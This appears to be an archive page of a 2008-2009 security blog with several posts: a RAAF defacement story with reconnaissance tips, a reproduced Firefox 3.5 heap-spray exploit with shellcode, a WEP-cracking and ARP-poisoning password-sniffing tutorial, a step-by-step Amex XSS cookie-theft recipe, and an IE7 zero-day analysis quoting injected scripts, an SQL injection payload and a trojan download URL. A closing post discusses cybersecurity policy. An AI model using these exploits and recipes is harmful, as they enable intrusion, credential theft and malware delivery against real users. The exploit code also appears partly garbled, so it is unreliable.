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Warfare in the Information Age

Posts Tagged ‘Internet

The Past, Present and Future of Chinese Cyber Operations

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Out of nowhere, here’s an article I wrote for the Canadian Military Journal. China,  as one of many alleged actors on the frontier of cyber espionage, is best understood by briefly examining the past century, how it influences contemporary cyber operations attributed to Chinese-based actors, and how they could be used against the Canadian Armed Forces in a potential Southeast Asian conflict.

See the full article here:; or



RAAF website defaced

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Atul Dwivedi, an Indian hacker paid a visit to the Royal Australian Air Force (RAAF) last Monday by defacing their website.

This accident comes amid a raise in violence targeted towards Indian native in Australia and apparently Dwivedi protested this situation by leaving a message on the website:

“This site has been hacked by Atul Dwivedi. This is a warning message to the Australian government. Immediately take all measures to stop racist attacks against Indian students in Australia or else I will pawn all your cyber properties like this one.”

Racist incident in Australia against Indian students has increased in the last months

Racist incident in Australia against Indian students has increased in the last months

This site is now up and running as per normal. Of course the webserver wasn’t connected to any internal network and didn’t contain any classified information according to a spokewoman:

“No sensitive information was compromised as the air force internet website is hosted on an external server and, as such, does not hold any sensitive information,1

Microsoft products are used in pretty much every Western armed forces. So it’s save to assume the webserver used by the RAAF is probably running IIS. Of course, IIS implies as Windows machine and a Windows Server machine means that everything is almost certainly all Microsoft based. Of course we can now verify those claims and according to David M Williams from ITWire2 the website is hosted through Net Logistics, an Australian hosting company. The aforementioned article tries to explain the hack with the use of exploits. Which might have been the way Dwivedi did it, but the analysis is quite simple and lacks depth. The site still has an excellent link to a blog detailing the WebDAV exploit, see below for the link.

It’s not impossible to think that Dwivedi might have tricked someone into giving out too much information also. Social engineering can do lots and is usually easier than technical exploits. The Art of Deception by Kevin Mitnick should convince most people of that. Someone could look up on Facebook or another social networking site for some people in the RAAF and then try to pose as them and pose as them.

Then also, why not look for the FTP server? And God knows what else the server is running; maybe a SMTP server also (and probably it does). Now I wouldn’t suggest doing this, but running a port scan would probably reveal a lot of information. Moreover, using web vulnerability tools like Nikto could help find misconfigured settings in ASP or forgotten test/setup pages/files. Up to there, only two things are important: information gathering and imagination.

See also:

Hacker breaks into RAAF website”, AAP, Brisbane Times, July 16, 2009, accessed on 2009-07-17

WebDAV Detection, Vulnerability Checking and Exploitation”, Andrew, SkullSecurity, May 20, 2009, accessed on 2009-07-17

1Indian hacks RAAF website over student attacks”, Asher Moses, The Sydney Morning Herald, July 16, 2009, accessed on 2009-07-16

2 “How did Atul Dwivedi hack the RAAF web site this week?”, David M Williams, ITWire, July 17, 2009, accessed on 2009-07-16

Firefox Javascript Vulnerability

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Once again, Javascript is the source of a new exploit that has been recently discovered on Firefox1. The vulnerability can be exploited by crafting malicious Javascript code on a Firefox 3.5 browser and leads to the execution of arbitrary code on the user’s machine. This is due to a vulnerability in the JIT engine of Firefox and affects machine running a x86, SPARC or arm architectures.

The vulnerability resolves around the return value of the escape function in the JIT engine. It’s exploited using the <font> tag. The code for the exploit is public and can be found at milw0rm. The exploit use a heap spraying technique to execute the shellcode.

<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Vulnerabilty
Author: SBerry aka Simon Berry-Byrne
Thanks to HD Moore for the insight and Metasploit for the payload
<div id="content">


<FONT>Loremikdkw  </FONT>
<script language=JavaScript>

/* Calc.exe */
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800"+   
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +   
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +   
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +   
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +   
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +   
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +   
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +   
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +   
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +   
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +   
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +   
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +   
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +   
/* Heap Spray Code */            
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)  
    fullblock += fullblock;
sprayContainer = new Array();
for (i=0; i<600; i++)  
    sprayContainer[i] = fullblock + shellcode;
var searchArray = new Array()
function escapeData(data)
 var i;
 var c;
 var escData='';
   if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
 return escData;
function DataTranslator(){
    searchArray = new Array();
    searchArray[0] = new Array();
    searchArray[0]["str"] = "blah";
    var newElement = document.getElementById("content")
    if (document.getElementsByTagName) {
        var i=0;
        pTags = newElement.getElementsByTagName("p")
        if (pTags.length > 0)  
        while (i<pTags.length)
            oTags = pTags[i].getElementsByTagName("font")
            searchArray[i+1] = new Array()
            if (oTags[0])  
                searchArray[i+1]["str"] = oTags[0].innerHTML;
function GenerateHTML()
    var html = "";
    for (i=1;i<searchArray.length;i++)
        html += escapeData(searchArray[i]["str"])


# [2009-07-13]

A fix should be available soon, but the best solution is always to disable Javascript, although a lot of sites rely on it to operate. Another way is to use the NoScript plug-in, which let you enable and disable scripts easily according to a whitelist/blacklist system.

See also:

Mozilla Firefox Memory Corruption Vulnerability”, Secunia, July 14, 2009, accessed on 2009-07-15

Exploit 9137”, SBerry, July 13, 2009, accessed on 2009-07-15

Stopgap Fix for Critical Firefox 3.5 Security Hole”, Brian Krebs, The Washington Post, July 14, 2009, accessed on 2009-07-15

Critical JavaScript vulnerability in Firefox 3.5”, Mozilla Security Blog, July 14, 2009, accessed on 2009-07-15

1 “Mozilla Foundation tackles Firefox bug”, Nick Farell, The Inquirer, Wednesday, 15, July, 2009, accessed on 2009-07-15

Written by Jonathan Racicot

July 15, 2009 at 3:41 pm

A small and quick introduction to ARP poisoning

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This article won’t be about something new nor something extraordinary for any experienced computer security or even the average hacker, but since I’ve been ask this question quite often by some of my friends, I decided to explain how to sniff passwords from a network.  Moreover, I’m well aware I haven’t been writing anything for a while, and I want to get back to it once all my personal matters are resolved. I’ll concentrate on WEP wireless networks since they are almost certain to be cracked easily. Although those a deprecated, there are still used in many household as the out-of-the-box default configuration, so it’s still pertinent in my opinion. Then I will explain the ARP (Address Resolution Protocol) poisoning attack, which will be used to intercept packets between the target and the Internet.

Attacking the WEP wireless network

Packets in a WEP network are encryted, so in order to sniff packets off from it, you’ll first need to acquire the WEP key. This can be done easily with a wireless network adapter that supports monitor mode and the aircrack suite. For the adapter, I’m using the Linksys  Compact Wireless-G USB adapter, model no WUSB54GC. Plug your adapter into a USB connector and boot up your machine. Once you have booted up, make sure Backtrack or any other distribution has detected your adapter:

ifconfig rausb0 up

and then put the adapter in “Monitor Mode”

iwconfig rausb0 mode monitor

The goal of a WEP attack is to capture as many initialization vectors (IVs) as possible. IVs are random numbers used with a either 64, 128 and 256-bit key to encrypt a stream cipher. Those are used so that two exact same plain text do not produce the same ciphertext. The problem with WEP is that IVs are very short, and on a busy network, the same vectors get reused quickly. The IV is 24 bit long, therefore there are 16 777 216 possibilities1. Moreover, changing the IV for each packet is optional. The keys are also quite short, therefore opening the possibility of finding the key with some brute force calculation. No matter what is they key length, you will just need more packets.

The WEP protocol then use the randomly generated IV, the WEP key and pass it throught the RC4 cipher to produce a keystream. The keystream is then XORed with the plain text stream to produce the cipher text, as shown in the picture below:

WEP Encryption Schema

WEP Encryption Schema (from Wikipedia)

So basically, if you get many packets with the same Ivs, different ciphertext, you can now try to brute-force the WEP key. And to get those packets, you need traffic on the network. Now if there are already some people connected and surfing the web, you can easily capture packets and replay them to get more IVs, otherwise, you need to generate the traffic yourself.

Once you’ve tell airodump to capture IVs, we will use aireplay to generate more traffic, and therefore capture more IVs quickly. If you look at the airodump screen, you’ll see it capturing packets.

Once you have the key, you can finally start the poisoning process. As you have seen, I have not detailed how to crack a WEP network as it is widely described all over the net. You can find find good video tutorials from InfinityExists here and here. The last 2600 issue also had a good article about it.

The ARP poisoning attack

The concept behind this is simple. ARP is the protocol that maintains network devices tables up-to-date by associating an IP address with a MAC address. The problem with ARP is that it doesn’t really care about who answered, it will gladly update the tables from whoever says so. Most of the time, it won’t even ask. So the idea behind the attack, is to send the client an ARP answer saying “hey, I’m the gateway, send stuff to me” and a second ARP answer to the real gateway saying “hey there, I’m this guy, send me his stuff”. Then you just have to relay the packets between the victim and the gateway.Those schemas are more simply to understand:

Schema of an ARP Poisoning Attack

Schema of an ARP Poisoning Attack

In Linux, the rerouting can be done using the following iptables commands:

iptables -t nat -A PREROUTING -i <interface> -p tcp –dport <port> -j REDIRECT –to-port <redirection port>

iptables -t nat -D PREROUTING -i <interface> -p tcp –dport <port> -j REDIRECT –to-port <redirection port>

I’m showing those commands because you can do a lot with those. Many web applications such as some Flash applications use RTMP (Real-time messaging protocol) to control web applications, which run locally.  Flash server send commands to the application using message. Using those commands, you can filter the packets send or receive from the Flash server. Simply use a sniffer first, then locate which packets you wish to drop, alter or whatever.

For example, some sites gives you samples of live music or videos for 30 seconds, then nag you to pay. Using a sniffer, analyze the traffic and find that RTMP Invoke packet that closes the connection with the server. Code a quick proxy that will let all packets go to the flash application except for the connection closing RTMP packet. Then use the commands above to redirect traffic to your proxy.

00 03 0d 4f c0 6d 00 11  20 a8 32 8b 08 00 45 00 …O.m..  .2…E.
00 b2 7e 52 40 00 78 06  d0 a1 50 4d 74 05 43 c1 ..~R@.x. ..PMt.C.
ab 3e 07 8f d0 d8 9b a6  b0 eb ea 61 49 3d 80 18 .>…… …aI=..
fe 4a 76 52 00 00 01 01  08 0a 00 ef a6 d0 02 43 .JvR…. …….C
f4 32 43 00 00 00 00 00  76 14 02 00 0f 63 6c 6f .2C….. v….clo
73 65 43 6f 6e 6e 65 63  74 69 6f 6e 00 00 00 00 seConnec tion….
00 00 00 00 00 05 02 00  57 32 30 38 20 46 72 65 …….. W208 Fre
65 63 68 61 74 20 61 63  74 69 76 69 74 79 20 74 echat ac tivity t
69 6d 65 6f 75 74 2e 20  49 66 20 79 6f 75 20 77 imeout.  If you w
65 72 65 20 61 20 6d 65  6d 62 65 72 2c 20 74 68 ere a me mber, th
65 20 66 72 65 65 20 63  68 61 74 20 77 6f 75 6c e free c hat woul
64 20 6e 6f 74 20 74 69  6d 65 20 6f 75 74 21 20 d not ti me out!

Example of a RTMP Invoke packet to close a connection.

Of course you could just use Ettercap, which does exactly what have been mentioned above. Start Ettercap with the following:

sudo ettercap -G -W 128:p:25AAAAC18DEADDADA433332B65

This will open the graphical interface (-G), that is if you have installed the GTK interface to Ettercap. -W specify to listen for wireless networks and to use a 128-bit key with key found earlier. I don’t know what the p is really for. You can also use the text mode.



Then select Sniffing > Unified Sniffing > select on which interface you want to sniff. Then start the sniffing: File > Start Sniffing. Now let’s specify which targets you wanna sniff. Go to Hosts > Scan for hosts. That will locate the hosts on the current network. Then popup the hosts list, Hosts > Show Hosts List.

Ettercap - Hosts Found on the Network

Ettercap - Hosts Found on the Network

On the list, add the router to target 2 and the hosts you wanna sniff to target 1. Only one step left: MITM > ARP poisoning.  Select Sniff Remote Connections > OK.

Ettercap ARP Poisoining Options

Ettercap ARP Poisoining Options

Then you wait for users to connect to pages like MySpace or Hotmail etc…and Ettercap will find out the sensitive information for you.

See also:

Wireless Networking, Praphul Chandra, Alan Bensky, Ron Olexa, Daniel Mark Dobkin, David A. Lide, Farid Dowla

RFC 826 – Ethernet Address Resolution Protocol, David C. Plummer, November 1982,

Wired Equivalent Protocol, Wikipedia,


A Quick Amex XSS

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Here is a quick description of a cross-site script exploit that was fixed today on the American Express website.

The vulnerability was in the search engine of the site, which didn’t sanitized the input keywords. Therefore anyone could insert JavaScript into the search and use this to trick people into sending their cookies to the attacker.

All you need to do is

1)      Setup a web server or register for a free web hosting service that supports any type of server-side script (Perl, PHP, ASP etc…)

2)      Create a script to save the stolen cookies into a file or database and put it online.

3)      Get the link of the malicious search link. The code snipplet needed to cause the search to inject JavaScript is:


Where XXX is your code that does what ever you want it to do. If you want to steal the cookie, it code would then be something like:


So the link to use to lure people into sending their cookies would be something like:’’%2Bdocument.cookie%3C/script%3E

4)      Place this link into forums about American Express or credit cards (since there is a better chance that people using these forums are using the Amex website, and therefore have cookies…)

Now this XSS have been fixed after it started to go public. This folk[1], who found the bug, had a particular hard time convincing Amex about this security problem.

A video of the simple exploit is available  at :

See also:

American Express web bug exposes card holders“, Dan Goodin, The Register, December 16, 2008, (accessed on December 17, 2008)

[1] “Holistic Security”, Russ McRee, December 17, 2008 (accessed on December 17, 2008)

Written by Jonathan Racicot

December 17, 2008 at 4:32 pm

Internet Explorer 7 Attack in the Wild

with 6 comments

Bits of information about the new 0-day exploit are surfacing on the web. This exploit provokes a heap overflow in the XML parser of Internet Explorer 7. The exploit works with the fully patched version of Windows XP, Windows Server 2008 and Windows Vista SP1[1].

The Infection

The exploit is initiated by a JavaScript file stored on infected servers across the web. The example given by the SANS Internet Storm Center is located at http://17gamo [dot] com/1.js. F-Secure also reported the URL as being infected. The content of the JavaScript file is injected through sites by a SQL injection attack and it contains a link to a web page containing the exploit and the shellcode. A complete list of infected websites can be found at Shadowserver.

The contents of the 1.js file (be careful of what you do with this info!):

document.writeln("<script src=\"http:\/\/\/click.aspx?id=484329676&logo=1\">
document.write("<iframe width=100 height=0 src=>

The SQL injection works by adding a link to every text field contained in an accessible database. Therefore, once text contained in the database is retrieved to be displayed on the webpage, the malicious link to the JavaScript is also included in it and executes the contents of the file, which contains two statements.  One is a counter to measure how many victimes it made, the other is an iFrame to the malicious webpage. The SQL injection usually takes this form, but it really depends on which software is attacked:

rtrim(convert(varchar(4000),['+@C+']))+''<script src=http://17gamo [dot] com/1.js>
</script>''')FETCH NEXT FROM

The Exploit

This is part of the JavaScript found in the while. It checks the version of the browser and OS and triggers the buffer overflow:


nav = navigator.userAgent.toLowerCase();

if (navigator.appVersion.indexOf(‘MSIE’) != -1) {
    version = parseFloat(navigator.appVersion.split(‘MSIE’)[1])

if (version==7) {
w2k3 = ((nav.indexOf(‘windows nt 5.2’) != -1) || (nav.indexOf(‘windows 2003’) != -1));
wxp = ((nav.indexOf(‘windows nt 5.1’) != -1) || (nav.indexOf(‘windows xp’) != -1));

    if (wxp || w2k3)
document.write(‘<XML ID=I><X>    <C><![CDATA[<image 
SRC=http://&amp;#2570;&amp;#2570;    >]]></C></X>

    var i=1;
    while (i <= 10 ) {
        window.status= “ ”; i++;

You can get a working example at

The script used in the wild waits for 6 seconds before starting, apparently to fool anti-viruses. It then verifies if the current browser is Internet Explorer and if it’s version 7. It also checks that the OS is Windows XP or 2003 (but the exploit does work in Vista also). If all conditions are met, the script will then write the malformed XML code to exploit to the parser. The loop at the end keeps the status bar from displaying any information to the user. The parsing of the XML code will trigger a heap overflow in the parser and arbitrary code can be executed.

The vulnerability is explained more in detailed by the Chinese researchers[2] that first discovered the exploit and that released the code by mistake. The original article is written in Mandarin, but a rough translation from Google leads to a mistake in the handling of pointers when “SDHTML objects” are created. A machine translated post on a forum gave that information[3]:

Recently caught using IE7 0day vulnerability code, as in dealing with the object SDHTML errors lead to memory disorders, through the structural conditions of a specific code lead to cross-border memory. 现已有人赶制出网马生成器相信会在短期内流行。 It was now working towards a network of horse generator, will be popular in the short term. 该漏洞存在于IE7XML可以导致内存越界的漏洞攻击者通过构造畸形XML代码并且使用JavaScript脚本操作ShellCode去执行任意代码。 The vulnerability exists in IE7’s XML, the memory can lead to cross-border loopholes, the attacker through the abnormal structure using JavaScript and XML code script ShellCode operation to execute arbitrary code.
漏洞描述 Description of the loopholes:
由于SDHTML里处理对象存在错误导致内存紊乱通过构造某种条件可以使得SDHTML检测到错误释放已被分配的对象但是在释放已被分配的对象后SDHTML并未返回而是继续使用被释放的对象的内存执行如果这些内存又被分配给其他用途将导致SDHTML把这些内存当作一个对象来操作。 SDHTML due to errors in handling the object lead to memory disorders, through some kind of structural conditions can make mistakes SDHTML detected the release of the allocation has been the target, but the release has been the target of the distribution did not return after SDHTML be released but continue to use the object The implementation of the memory, if memory has been allocated to other purposes, such SDHTML will lead to memory as an object to the operation. 攻击者使用了XMLSRC字符串对象占用了这些释放对象的空间而对象指针里包含函数例程指针最终导致代码执行。 An attacker using the XML string SRC release of these objects taking up space objects, and object pointer included in routine function pointer, leading to the implementation of the code.

This hole wasn’t patch with the latest update from Microsoft. No details are available on when a hotfix will be distributed. Disabling Active Scripting will prevent this exploit from downloading the Trojan. Doing so will also protect anyone from most of the online attacks (but it will also make some sites unusable). Other solution: use Firefox or Opera. And for the geekiest, you can always use the safest browser around by downloading it here.

Observed Payload

Right now, it seems these attacks using this exploit are limited to MMORPG password stealers. The shellcode included with the current exploit will download http://www [dot] steoo [dot] com/admin/win.exe[4]. F-secure detect the trojan contained in the file as Win32.Magania and as Infostealer.Gamania[5] by Symantec. This malware is a game password stealing Trojan for games created by the Taiwanese company Gamania, creator of Maple Story amongst others.

The trojan will create various files into the %SYSTEM% directory and add himself in the registry so that it boots every time the computer starts. Files created include[6]:

  • %System%\Kerne0223.exe
  • %System%\Kerne0223.dll
  • %Windir%\SVCH0ST.EXE
  • %System%\aer4532gxa.dll (detected as Infostealer.Lineage)
  • [PATH TO TROJAN]\gg.bat
  • %System%\drivers\etc\hosts
  • c:\log.txt

And will steal every credentials entered by the user on these sites:

  • [http://]
  • [http://]
  • [http://]
  • [http://]
  • [http://]
  • [http://]
  • [http://]
  • [http://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]

It is strongly believed that this Trojan origin is based in China. Various variants of this Trojan have been created. Variants may come with a keylogger and rootkits.

See also:

“Microsoft Security Advisory (961051)”, Microsoft, December 10, 2008, (accessed on December 11, 2008)

“Mass SQL Injection”, F-Secure, December 11, 2008, (accessed on December 11, 2008)

“Chinese researchers inadvertently release IE7 exploit code”, John Leyden, The Register, December 11, 2008, (accessed on December 11, 2008)

Add to FacebookAdd to NewsvineAdd to DiggAdd to Del.icio.usAdd to StumbleuponAdd to RedditAdd to BlinklistAdd to Ma.gnoliaAdd to TechnoratiAdd to Furl

[1] “0-day exploit for Internet Explorer in the wild”, Bojan Zdrnja, SANS Internet Storm Center, December 10, 2008, (accessed on December 11, 2008)

[2] “Alert: IE70DAY attack code has been linked to the use of  Trojan Horse”, December 12, 2008, (accessed on December 11, 2008 – Eastern Time GMT-5)

[3] Translated by Google Translate from Chinese, (accessed on December 11, 2008)

[4] “0-day exploit for Internet Explorer in the wild”, Bojan Zdrnja, SANS Internet Storm Center, December 10, 2008, (accessed on December 11, 2008)

[5] “Infostealer.Gamania”, Hiroshi Shinotsuka, Symantec, February 13, 2007, (accessed on December 11, 2008)

[6] Ibid.

To the New President: Secure Cyberspace

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As the transition period leading to the new presidency is almost coming to an end, everyone will probably have multiple requests to the president, and of those is to increase cyber defence. In this optic, a new report created by the “CSIS Commission on Cybersecurity for the 44th Presidency[1]” has release its recommendations on how to secure cyberspace. They consist of:

  • Create a Comprehensive National Security Strategy for Cyberspace
  • Organizing for Cybersecurity
  • Rebuilding Partnership with the Private Sector
  • Regulate for Cybersecurity
  • Identity Management for Cybersecurity
  • Modernize Authorities
  • Build for the Future

This report comes 5 years after the “National Strategy to Secure Cyberspace” document released in 2003 by the National Advisory board which goal was to “engage and empower Americans to secure the portions of cyberspace that they own, operate, control, or with which they interact[2]“. The CSIS’ document doesn’t mention the previous efforts by the National Advisory Board but declares the previous efforts of the Bush administration as “good but not sufficient[3]“.

As usual, it remains difficult to see how much of this report is based on real facts or just a way to secure funds from the new president by linking potential damage to the cyberspace infrastructure to the economy . It states that “America’s failure to protect cyberspace is one of the most urgent national security problems facing the new administration that will take office in January 2009[4]“. It uses the cyber attack that occurred on various American networks in 2007 as an example[5].

While they may be some part of fear mongering in this report, we should not completely put aside threats mentioned in this report. As cyber warfare is mostly a war happening without much fanfare and therefore happens in the shadows, it is hard to really determine what’s going on. Since there is no open war between modern countries, we won’t see any cyber warfare for the time being. For the moment, cyberspace will be used for spying mostly and this is what this document mostly addresses.

The unclassified e-mail of the secretary of defense was hacked … A senior official at the Department of State told us the department had lost “terabytes” of information,” declares the report, also: “Senior representatives from the intelligence community told us that they had conclusive evidence, covertly obtained from foreign sources, that U.S. companies have lost  billions in intellectual properties.

Unfortunately, “senior representatives“, “conclusive evidence” and “foreign sources” are so vague that it’s impossible to validate the scope of the problem…or even believe it. Another document though[6], mentioned in the present reading give some examples of the uses of terrorists for cyberspace. It mentions among others the “Muslim Hackers Club” website and the information posted to it, and the use of stolen credit cards and bank account information to finance the Bali attack in 2002[7].

The authors are putting a lot of emphasis on treating cybersecurity as a priority on the same levels as WMD and any other subject that requires national attention therefore requiring that the federal government take charge of the national cybersecurity instead of IT departments. It proposes that:

1)      Standards for computer security be enforce for to the industry such as manufacturing plants and power plants.

2)      Cyberspace security be overlook by a cybersecurity chief and that security agencies such as the National Cyber Security Center (NCSC) and the Joint Inter-Agency Cyber Task Force (JIACTF) be merged into one.

A central office in charge of enforcing computer security standards will have to be formed later or sooner. Fortunately this will be sooner. Information Technology departments should not only have a national reference on the standards to achieve, but also have the opportunity to know how to implements those standards by having government-accredited security companies implementing those standards to networks of various industries. I also believe this new agency should periodically test the security of those networks, as I presume, should already be done. The reports propose that instead of a new agency, the Whitehouse be in charge of the national cybersecurity with an assistant to the president.

The difficulty in this resides in the fact that only one weak link is sufficient to be able to attack the entire system. Therefore, it is necessary to screen the entire critical infrastructure in order to be efficiently secured. And since this implies that systems are often connected internationally for large industries, it means an international consensus.

One thing is for sure, is that all the existing computer-security related need to be consolidated in order to focus on a common goal, and that is the protection of cyberspace. As the report states, it also need to be working hand-to-hand with the private sector in order to have a quick reaction to emergencies. Unfortunately this is only another report amongst other. Maybe a more tech-savvy president such as Barack Obama will catch on quicker to this threat. Until then, the battle still rages on in the shadows of the Internet…

See also

“Obama urged to create White House cybersecurity chief “, Dan Goodin, The Register, December 8, 2008, (accessed on December 10, 2008)

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[1] “Securing Cyberspace for the 44th Presidency”, CSIS Commission on Cybersecurity for the 44th Presidency, December 8, 2008,,com_csis_pubs/task,view/id,5157/ (accessed on December 10, 2008)

[2] “The National Strategy to Secure Cyberspace”, National Advisory Board, February 2003, p. VII

[3] “Securing Cyberspace for the 44th Presidency”, CSIS Commission on Cybersecurity for the 44th Presidency, December 8, 2008, p.15

[4] Ibid. p.11

[5] “Pentagon shuts down systems after cyberattack’, Robert McMillan, InfoWorld, June 21, 2007, on December 10, 2008)

[6] “Threats Posed by the Internet”, CSIS Commission on Cybersecurity for the 44th Presidency, October 2, 2008,,com_csis_pubs/task,view/id,5146/type,1/ (accessed on December 10, 2008)

[7] “Bali death toll set at 202”, BBC News, February 19, 2002, (accessed on December 10, 2008)